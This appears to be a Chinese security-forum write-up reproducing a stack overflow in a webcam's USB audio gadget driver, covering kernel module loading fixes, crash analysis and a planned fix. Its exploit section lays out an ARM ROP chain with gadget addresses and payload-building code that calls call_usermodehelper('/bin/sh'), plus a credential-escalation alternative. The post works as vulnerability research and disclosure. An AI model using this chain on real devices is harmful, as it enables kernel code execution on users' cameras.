			/*
			 * 出货模块是 Thumb-2,它的 BL 用 R_ARM_THM_CALL。
			 * 在 ARM 状态内核里这段原本不编译,模块会直接
			 * 报 unknown relocation: 10。
			 *
			 * Thumb 的 BL 只能跳到 Thumb 目标,所以任何
			 * Thumb -> ARM 的调用都必须经过 veneer。
			 * 即便目标是 Thumb,模块区到内核 .text 的距离
			 * 也可能超过 25 位有符号范围。
			 */
			upper = __mem_to_opcode_thumb16(*(u16 *)loc);
			lower = __mem_to_opcode_thumb16(*(u16 *)(loc + 2));

第二处在算完偏移之后,目标是 ARM 函数,或者距离超出 Thumb BL,就改去跳 veneer:

			if ((!(sym->st_value & 1) &&
			     ELF32_ST_TYPE(sym->st_info) == STT_FUNC) ||
			    offset <= (s32)0xff000000 ||
			    offset >= (s32)0x01000000) {
				unsigned long veneer =
					thumb_veneer_get(offset + loc + 4);

				if (!veneer) {
					pr_err("%s: section %u reloc %u sym '%s': cannot allocate Thumb veneer\n",
					       module->name, relindex, i, symname);
					return -ENOEXEC;
				}
				/* BL 跳 veneer,veneer 再跳真实目标 */
				offset = (s32)(veneer & ~1UL) - loc - 4;
			}

第三处是 veneer 池。池子放在模块区里,和模块代码相距不超过 16MB,BL 才够得着。返回值带上 bit0,让 BL 以 Thumb 状态进入桩:

static unsigned long thumb_veneer_get(unsigned long target)
{
	u32 *p;
	unsigned long addr;

	if (!veneer_pool.base) {
		veneer_pool.cap = THUMB_VENEER_SIZE * THUMB_VENEER_MAX;
		veneer_pool.base = module_alloc(veneer_pool.cap);
		if (!veneer_pool.base)
			return 0;
		veneer_pool.used = 0;
	}

	if (veneer_pool.used + THUMB_VENEER_SIZE > veneer_pool.cap)
		return 0;

	p = (u32 *)((char *)veneer_pool.base + veneer_pool.used);
	/* ldr.w pc, [pc, #0]:PC 此时指向本条指令 +4,即字面池位置 */
	p[0] = __opcode_to_mem_thumb32(0xf8dff000);
	p[1] = target;

	addr = (unsigned long)p;
	veneer_pool.used += THUMB_VENEER_SIZE;

	flush_icache_range(addr, addr + THUMB_VENEER_SIZE);

	/* 返回带 bit0 的地址,让 BL 以 Thumb 状态进入 veneer */
	return addr | 1;
}

ARM 分支里的 get_module_plt 只在 CONFIG_ARM_MODULE_PLTS=y 时才有,调用处用 #ifdef 包住,否则链接失败。

重编之后三个模块都加载了:

=== 加载出货模块 ===
  libcomposite ok
  u_audio ok
  usb_f_uac1 ok
usb_f_uac1 8186 0 [permanent], Live 0x7f017000
u_audio 4607 1 usb_f_uac1, Live 0x7f012000
libcomposite 29074 2 usb_f_uac1,u_audio,[permanent], Live 0x7f000000

.text 落在预期的模块区:

=== 模块段地址 ===
--- libcomposite
0x7f000000          <- .text
0x7f0047dc          <- .data

dummy_udc.0 也在。后面构造 ROP 要用的两个符号:

call_usermodehelper      801317ac T call_usermodehelper
poweroff_cmd             80a0b25c D poweroff_cmd

内核启动了,用户态在跑,三份模块的 insmod 都返回 0,没有重定位错误。在这之前,出货模块没有在真实内核里加载成功过。

组 gadget 时卡在 ALSA

加载之后按出厂顺序组 gadget:

mount -t configfs none /sys/kernel/config
insmod libcomposite.ko
insmod u_audio.ko
insmod usb_f_uac1.ko

G=/sys/kernel/config/usb_gadget/webcam
mkdir -p $G
echo 0x17ef > $G/idVendor
echo 0x4839 > $G/idProduct
mkdir -p $G/functions/uac1.usb0
ln -s $G/functions/uac1.usb0 $G/configs/c.1/
echo dummy_udc.0 > $G/UDC

一写 UDC,内核就崩在 g_audio_setup:

Unhandled fault: page domain fault (0x01b) at 0x00000144
Internal error: : 1b [#1] PREEMPT SMP ARM
Modules linked in: usb_f_uac1 u_audio libcomposite
PC is at g_audio_setup+0x17d/0x1ef [u_audio]
LR is at 0x65676461

LR 的值 0x65676461 是 ASCII "aade",像是把字符串当成了返回地址。崩点在 u_audio.ko 的 g_audio_setup+0x17d:

 810:	f8d0 33c4 	ldr.w	r3, [r0, #964]	@ 0x3c4
 814:	3044      	adds	r0, #68	@ 0x44
 816:	f8d3 3144 	ldr.w	r3, [r3, #324]	@ 0x144
 81a:	f7ff fffe 	bl	0 <sprintf>

它从 snd_card 偏移 964 读一个指针,再从那个指针的 324 处读一次。主线 4.9.84 的 struct snd_card 在 ARM EABI 下实测是:

sizeof(struct snd_card) = 1536
offsetof(private_data) = 392
offsetof(devices) = 400
offsetof(ctl_dev) = 408
offsetof(card_dev) = 1008
offsetof(proc_root) = 956

964 落在 proc_root(956)和 card_dev(1008)中间,不是厂商想读的那个字段。private_data 前面是 number、7 个字符数组和 module,算出来就是 392,没有配置开关能把它挪到 964。厂商多出来的是 572 字节,这是结构体本身不一样。

为了看后面的绑定还能不能走,把 g_audio_setup 入口改成直接返回 0:

00000698 <g_audio_setup>:
 698:	2000      	movs	r0, #0
 69a:	4770      	bx	lr

bind 过了,主机侧也开始枚举:

=== 组 UAC1 gadget ===
绑定 dummy_udc.0
bind rc=0
usb 1-1: new high-speed USB device number 2 using dummy_hcd
usb 1-1: device descriptor read/64, error -32
usb 1-1: device descriptor read/64, error -32
usb 1-1: new high-speed USB device number 3 using dummy_hcd

error -32 是 EPIPE。重试几次之后是 unable to enumerate USB device,描述符没读出来。

f_audio_bind 里 usb_assign_descriptors 返回 0,但 audio->card 是 g_audio_setup 填的。它在 0x6c4 写 [r6,#128]。后面 f_audio_setup 处理控制请求时要从这里取出 req 再排队:

 124:	6833      	ldr	r3, [r6, #0]
 126:	6998      	ldr	r0, [r3, #24]
 128:	f7ff fffe 	bl	0 <usb_ep_queue>

audio->card 是空的,usb_ep_queue 失败,枚举就拿不到描述符。

usb_f_uac1.ko 离不开 u_audio.ko。不加载的话缺这 7 个符号:

usb_f_uac1: Unknown symbol u_audio_start_playback (err 0)
usb_f_uac1: Unknown symbol u_audio_stop_capture (err 0)
usb_f_uac1: Unknown symbol u_audio_stop_playback (err 0)
usb_f_uac1: Unknown symbol g_audio_setup (err 0)
usb_f_uac1: Unknown symbol u_audio_start_capture (err 0)
usb_f_uac1: Unknown symbol g_audio_cleanup (err 0)
usb_f_uac1: Unknown symbol g_audio_notify (err 0)

g_audio_setup 也不能省。f_audio_complete 要走到,得先有 audio->card。要么把主线的 struct snd_card 改成厂商那份(多出来的 572 字节里面是什么,还不知道),要么自己写一个 UAC1 function 替换出货模块。后一种就已经不是出货字节了。这次停在这里。

为了确认不是别的原因,对过这些:

怀疑点 怎么看的 结果
加载器不认 Thumb 重定位 看会不会报 unknown relocation: 10 veneer 加上之后不再报
vermagic 不一致 逐字符比 modinfo 已去掉 thumb2,两边一致
struct module 尺寸 .gnu.linkonce.this_module 的长度 两边都是 0x200
导出符号不够 核对 103 个未定义符号 内核和同批模块能对上
端点没配 看 f_audio_bind 里的 usb_ep_autoconfig_ss 这段不碰 ALSA,能返回
gadget 没绑上 bind 的返回值和 UDC 状态 bind rc=0
描述符分配失败 usb_assign_descriptors 的返回值 返回 0

剩下的就是 audio->card 没被初始化。

利用链怎么接

上面的卡点还在,所以下面这条链没有在跑着的内核里执行过。地址来自这次自建的 ARM 内核,槽位来自前面那张长度扫描:长度 8 写满 r4,12 写满 r5,16 写满 r6,20 起返回地址被改掉。相对 memcpy 起点,这四格是 +4、+8、+12、+16。曾经按 +8 去对 r4,和这次扫描对不上,这里以扫描为准。

push {r0, r1, r4, r5, r6, lr} 之后,sp 指向保存的 r0,局部的 u32 data 在 sp+4,memcpy 就从这里开始。+20 以后是调用者的栈,memcpy 不限长度,可以继续写。

定位用的 32 字节,每格一个标记。小端看起来是:

00000000: 4141 4141 4a4a 4a4a 4b4b 4b4b 4c4c 4c4c
00000010: 4d4d 4d4d 4141 4141 4141 4141 4141 4141

偏移 0 是 0x41414141,4 是 r4 的 0x4a4a4a4a,8 是 r5,12 是 r6,16 是返回地址 0x4d4d4d4d。全 0x41 的 32 字节就是前面已经跑出 0x41414140 的那条。

SLOT = {'r4': 4, 'r5': 8, 'r6': 12, 'pc': 16}
MARK = {
    'r4': 0x4a4a4a4a,
    'r5': 0x4b4b4b4b,
    'r6': 0x4c4c4c4c,
    'pc': 0x4d4d4d4d,
}

想做的调用是 call_usermodehelper("/bin/sh", argv, envp, UMH_NO_WAIT)。符号来自这次内核:

801317ac T call_usermodehelper
8013c750 T commit_creds
8013ca38 T prepare_kernel_cred
8036a040 T memcpy
80a0b25c D poweroff_cmd

在这份 vmlinux 里搜 pop,一共 29496 条。带 pc 的大致是:

4801  pop {r4,r5,r6,pc}
3773  pop {r4,r5,r6,r7,r8,pc}
3297  pop {r4,r5,r6,r7,r8,r9,sl,fp,pc}
2923  pop {r4,pc}
1872  pop {r4,r5,r6,r7,r8,r9,sl,pc}
1034  pop {r4,r5,r6,r7,pc}

没有 pop {r0, ...}。ARM EABI 里只有被调用者保存的寄存器会进栈,参数寄存器得靠 mov 从它们搬过去。这种指令很多,例如:

80008094:	e1a00004 	mov	r0, r4
8010105c:	e1a00006 	mov	r0, r6
8010110c:	e1a00005 	mov	r0, r5

链的摆法:

[+4]   已保存 r4  -> "/bin/sh" 的地址
[+8]   已保存 r5  -> argv 数组地址
[+12]  已保存 r6  -> envp,这里用 0
[+16]  已保存 pc  -> pop {r4,r5,r6,r7,pc}
[+20]             -> mov r0, r4 ; ... ; bx lr
[+24]             -> mov r1, r5 ; ... ; bx lr
[+28]             -> mov r2, r6 ; ... ; bx lr
[+32]             -> call_usermodehelper
[+36]             -> 0,也就是 r3 = UMH_NO_WAIT
之后                -> "/bin/sh"、"-c"、"/sbin/reboot" 和 argv 数组
put(SLOT['r4'], s_sh)
put(SLOT['r5'], argv_off)
put(SLOT['r6'], 0)
put(SLOT['pc'], gadget['pop_r4r5r6r7_pc'])

put(SLOT['pc'] + 4, gadget['mov_r0_r4_bx_lr'])
put(SLOT['pc'] + 8, gadget['mov_r1_r5_bx_lr'])
put(SLOT['pc'] + 12, gadget['mov_r2_r6_bx_lr'])
put(SLOT['pc'] + 16, syms['call_usermodehelper'])
put(SLOT['pc'] + 20, 0)   # r3 = UMH_NO_WAIT

字符串和 argv 并不长:

"/bin/sh\0"        9 字节
"-c\0"             3 字节
"/sbin/reboot\0"  13 字节
对齐               3 字节
argv 数组         16 字节(4 个指针)
合计              44 字节

加上前面大约 40 字节的链头,一共 84 字节。公开材料里实际用了 316 字节,多出来的会写进调用者的栈,链本身用不到那么多。

如果目标是给当前进程提权,可以换成:

prepare_kernel_cred(0)
commit_creds(返回值)

地址是 8013ca38 和 8013c750。这条在这里更别扭:f_audio_complete 跑在 gadget 的完成回调里,current 不是攻击者的进程;返回地址已经被改掉,提权之后还要能回到用户态。call_usermodehelper 不看 current,内核还能跑就会再拉起一个进程。所以还是这条。

这些地址属于这次自建的内核(gcc 11.5.0),不是原厂的 #445。原厂镜像的符号位置不一样。解出来的原厂内核有 3190784 字节,但在 QEMU 里跑不起来,缺 Infinity6E 的机器模型。不要把上面的地址当成产品上的地址。

换环境或者上真机

我手里的摄像头是release版本,没有串口,所以只能用qemu模拟器。不过在做之前还有几点硬性条件,有一条不满足就先别做后面的:

条件 怎么判断 这次
用户态能跑 Freeing unused kernel memory 之后有 init 的输出 ARM 内核可以
Thumb-2 内核的用户态能跑 同上,并且内核开了 CONFIG_THUMB2_KERNEL QEMU 不行
有 UDC /sys/class/udc/ 不为空 有 dummy_udc.0
vermagic 一致 逐字符比 modinfo 去掉 thumb2 之后一致
R_ARM_THM_CALL 能解析 加载时不报 unknown relocation: 10 veneer 加上之后可以
日志能拿回来 故意制造一次 panic,看日志还在不在 模拟器可以,真机还没试

已经跑过的组合:

环境 Thumb-2 用户态 现象
QEMU 10.2.1,cortex-a15 不行 ret_fast_syscall 时状态是 ARM
QEMU 10.0.0,cortex-a15 不行 一样,和版本无关
QEMU 10.0.0,cortex-a7 不行 一样
QEMU 10.0.0,max 不行 一样
QEMU 10.0.0,ARM 内核加 veneer 可以 用户态正常,模块加载成功

真机没有串口,但有可写的 JFFS2 customer 分区。取日志可以试这三种。

把 dmesg 写进分区再重启读回来:

echo 8 > /proc/sys/kernel/printk
dmesg > /customer/dmesg.txt
sync

oops 之后进程可能已经没了,这条命令来不及跑。

或者在内核里打开 pstore:

CONFIG_PSTORE=y
CONFIG_PSTORE_RAM=y

设备树里还得有 ramoops 预留的内存。起来之后看:

ls /sys/fs/pstore/

有文件就说明这条路通。原厂内核是固定的,要开这项就得改内核。

也可以让 oops 先不要把机器打死:

echo 0 > /proc/sys/kernel/panic_on_oops

记录留在内核日志里,再从 /dev/kmsg 读出来写到 customer。栈已经被写穿的话,内核还能不能继续跑,要看写穿了多少。

比较稳的顺序是:模拟器上用户态、UDC、vermagic、Thumb 重定位都过了,再上真机;真机上把 panic_on_oops 设成 0,触发之后马上读 /dev/kmsg 写进 customer。

换模拟器时,同样先看 Thumb-2 用户态。可以用一小段循环试 CPSR 写入会不会把 T 位清掉:

    mov  r4, #1000
1:  cpsid i
    cpsie i
    subs r4, r4, #1
    bne  1b

这 1000 次能跑完,再谈加载模块。

原厂内核

1.0.0 的内核在固件 0x50000 处,是 SigmaStar 的 MVX4 压缩,uImage 头里 load / ep 都是 0x20008000。解压后 3190784 字节,版本字符串是 Linux version 4.9.84 ... #445 SMP PREEMPT。设备树不在单独分区,在解压镜像偏移 0x2e4d20,前面有标记 #MS_DTB#,长度 39226 字节。型号是 INFINITY6E SSC012B-S01A,CPU 是 Cortex-A7,内存从 0x20000000 起 96MB,串口是 sstar,uart(0x1F221000),UDC 是 sstar,infinity-udc,另外还有一个 snps,dwc3,寄存器在 0x1f344200。

这份内核没有编进 dummy_hcd,也没有通用的 USB 主机控制器入口。控制台和 UDC 都是厂商私有驱动。QEMU 里没有对应的寄存器模型,DWC3 自带的模型是主机侧的。公开材料里提过一个 Infinity6E 机器模型,我们没有这份实现。没有寄存器说明的话,把原厂镜像在 QEMU 里跑起来要靠长时间对硅片行为做逆向,这次没有做。

解压内核用的是 SigmaStar 的 mz:

mz d kernel.mvx vmlinux

影响和修复

能发原始 USB 控制传输的主机,就可以影响 1.0.0 摄像头里的内核栈。连着摄像头的那台电脑如果已经被控制,就满足这个条件。一次连接、不需要登录。写穿返回地址之后,公开材料里有人用 316 字节的 ROP 调了 call_usermodehelper("/bin/sh", ...),参数是 /sbin/reboot,返回值是 0,客户机接着重启。那条链的地址属于那次实验用的原厂内核,我们这次没有在跑着的内核上把地址对出来,所以没有重放。前面的实验已经说明返回地址是攻击者可以写的。

持久化同样来自那份材料:往 JFFS2 的 customer 分区写文件,重启后还能在。我们没有单独做这一步。

1.0.1 已经按控制项长度挡住了这次复制。最简单的修复方式是升级设备固件到最新版本;同时给模块加 canary 能把直接改 pc 变成一次可发现的崩溃,但主机仍然能越界写,长度检查还是要做。

做到哪一步

环节 状态 依据
出货指令会越界写 做过 长度 5 起就开始碰到保存的寄存器
已保存的 pc 能改 做过 长度 20 起跳到 0x4d4d4d4c
32 字节全 0x41 做过 跳到 0x41414140
1.0.1 会挡住 做过 同样的载荷 stall,栈不动
出货模块能进真实内核 做过 三份模块 insmod 都返回 0
bind 能跑到 做过 bind rc=0,主机侧开始枚举
恶意 SET_CUR 进 f_audio_complete 没做到 snd_card 差了 572 字节
内核 oops 停在这个函数上 没做到 同上,枚举在读描述符时就断了
ROP 在跑着的内核里执行 没做到 要先过上一条
原厂镜像上的地址 没做到 没有 Infinity6E 机器模型

这次多出来的是中间两行:模块第一次在真实内核里加载成功,并且跑到了 f_audio_bind。vermagic、重定位和符号都对得上。停下来是因为厂商的 struct snd_card 比主线多出 572 字节。

再往前只有两条路。一条是把这 572 字节还原出来,让主线的 snd_card 和出货模块一致。另一条是补上 Infinity6E 的机器模型,直接跑原厂内核,那样 ALSA 的布局本来就是对的。

内核这边为了把实验做下去,动过这些地方。它们都不在 f_audio_complete 的复制路径上:

位置 改了什么 为了什么
模块加载器 补 R_ARM_THM_CALL,加 veneer ARM 内核加载 Thumb-2 模块
cpu_init 的模式栈 改成 ARM 状态的一小段函数 Thumb-2 内核能启动
dummy_hcd 的定时器 mod_timer 间隔放到 5–10 个 jiffy 慢速仿真里中断不要占满 CPU
设备树编译器 yylloc 改成 extern 新工具链能把 4.9 编过
若干汇编的段声明 #alloc 改成 ELF 的 "a" 同上

模块上的改动:

模块 改了什么 多少字节 说明
usb_f_uac1.ko vermagic 去掉 thumb2 12 只动 .modinfo 里的那串字符
u_audio.ko 同上 12 同上
libcomposite.ko 同上 12 同上
u_audio.ko g_audio_setup 入口改成返回 0 4 只在看枚举时用过,用来绕开 ALSA

usb_f_uac1.ko 里的 f_audio_complete 和 f_audio_setup 一个字节都没改。加载成功的那次,三份模块只动了 vermagic 字符串。


冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。

收藏
点赞 ・0
打赏
分享
最新回复 (1)
雪    币: 18445
活跃值: (21684)
能力值: ( LV13,RANK:328 )
在线值:
发帖
回帖
粉丝
2 楼
由于此漏洞涉及到在售产品,固对部分信息进行脱敏处理,请谅解
17小时前
0
游客
登录 | 注册 方可回帖
返回